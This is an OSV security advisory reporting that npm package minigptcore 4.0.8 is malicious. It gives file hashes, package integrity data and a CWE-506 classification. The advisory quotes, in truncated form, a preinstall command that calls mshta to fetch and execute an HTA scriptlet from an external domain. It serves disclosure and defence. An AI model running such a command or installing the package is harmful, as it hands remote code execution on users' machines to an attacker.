MAL-2026-10417

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/minigptcore/MAL-2026-10417.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-10417
Published
2026-07-13T06:54:44Z
Modified
2026-07-13T07:47:04.843058836Z
Summary
Malicious code in minigptcore (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0)

On npm install, the package's preinstall script (preinstall.js) invokes cmd /c mshta http://fixars.top/..., causing Windows mshta.exe to fetch and execute an HTA scriptlet from a hardcoded external domain over plain HTTP. The fetched content is unpinned, unverified, and unrelated to any documented package purpose, and executes with the privileges of the user running npm install. package.json ships placeholder metadata (empty author, empty keywords, generic description) consistent with a throwaway upload whose only functional effect is the remote-code-execution dropper.

Database specific 
{
    "malicious-packages-origins": [
        {
            "sha256": "8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0",
            "modified_time": "2026-07-13T06:54:44Z",
            "id": "IN-MAL-2026-009841",
            "source": "amazon-inspector",
            "versions": [
                "4.0.8"
            ],
            "import_time": "2026-07-13T07:40:12.463500542Z"
        }
    ]
}
References
Credits

Affected packages

npm / minigptcore

Package

Name
minigptcore
View open source insights on deps.dev
Purl
pkg:npm/minigptcore

Affected ranges

Affected versions

4.*
4.0.8

Database specific

indicators 
{
    "evidence_files": [
        {
            "sha256": "6531737cdf18669d076b7ff3bf8168ddc74828f385a4a037a47bd8767d11b889",
            "tlsh": "70b012d499453234b252a0e02c3060225807c441225055e0648c451d441741516235fd",
            "path": "preinstall.js"
        },
        {
            "sha256": "ee2f5024254c6e3fd29d55cf88a90a18296218e8800ef14dcd67cb6e9f0bd27a",
            "tlsh": "0ee07d245c52d5332dc223951d1b4011b3708f0b02107c0a67db082c03ce5bb94ff31d",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-sw3/AEkH8CPxNh0NfhWStNTT73NYwwtd0J2WoMJCSLIrfNqgGx6Ehcc7MjY/GSmd+iNeU0BQ/04nwysHjWqbKw==",
                "sha1": "1270bf7a83e345094d7f7ac93e153dad410ac967"
            },
            "filename": "minigptcore-4.0.8.tgz"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/minigptcore/MAL-2026-10417.json"
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]